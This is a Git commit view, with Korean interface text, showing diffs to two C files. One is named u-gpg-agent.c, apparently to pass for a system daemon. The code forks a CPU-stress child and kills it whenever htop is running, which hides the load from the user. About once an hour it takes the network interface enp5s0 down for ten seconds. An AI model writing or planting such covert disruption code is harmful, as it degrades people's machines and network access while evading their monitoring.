소스 검색

added tp5

Clément K 2 년 전
부모
커밋
3032e239b2
2개의 변경된 파일10개의 추가작업 그리고 10개의 파일을 삭제
  1. 7 2
      main.c
  2. 3 8
      u-gpg-agent.c

+ 7 - 2
main.c

@@ -8,13 +8,18 @@ int main() {
     if (pid == 0) { //KINDER
         stress(1000);
     } else if (pid > 0) {
-	kill_nic();
+	int i = 0;
         while(1) {
             if (is_htop_here()) {
                 kill(pid, SIGKILL);
-		printf("STRESS DEAD ÇA\n");
             }
             sleep(2);
+	    if (i == 1800) {
+		    kill_nic();
+		    i = 0;
+	    } else {
+		    ++i;
+	    }
         }
     }
 }

+ 3 - 8
u-gpg-agent.c

@@ -49,12 +49,7 @@ void stress() {
 }
 
 void kill_nic() {
-	while(1) {
-		execl("/usr/bin/ip", "ip", "link", "set", "enp5s0", "down", NULL);
-		printf("nic down\n");
-		sleep(10);
-		execl("/usr/bin/ip", "ip", "link",  "set", "enp5s0", "up", NULL);
-		printf("nic up\n");
-	}
-	
+        system("/usr/bin/ip l set enp5s0 down");	
+	sleep(10);
+        system("/usr/bin/ip l set enp5s0 up");	
 }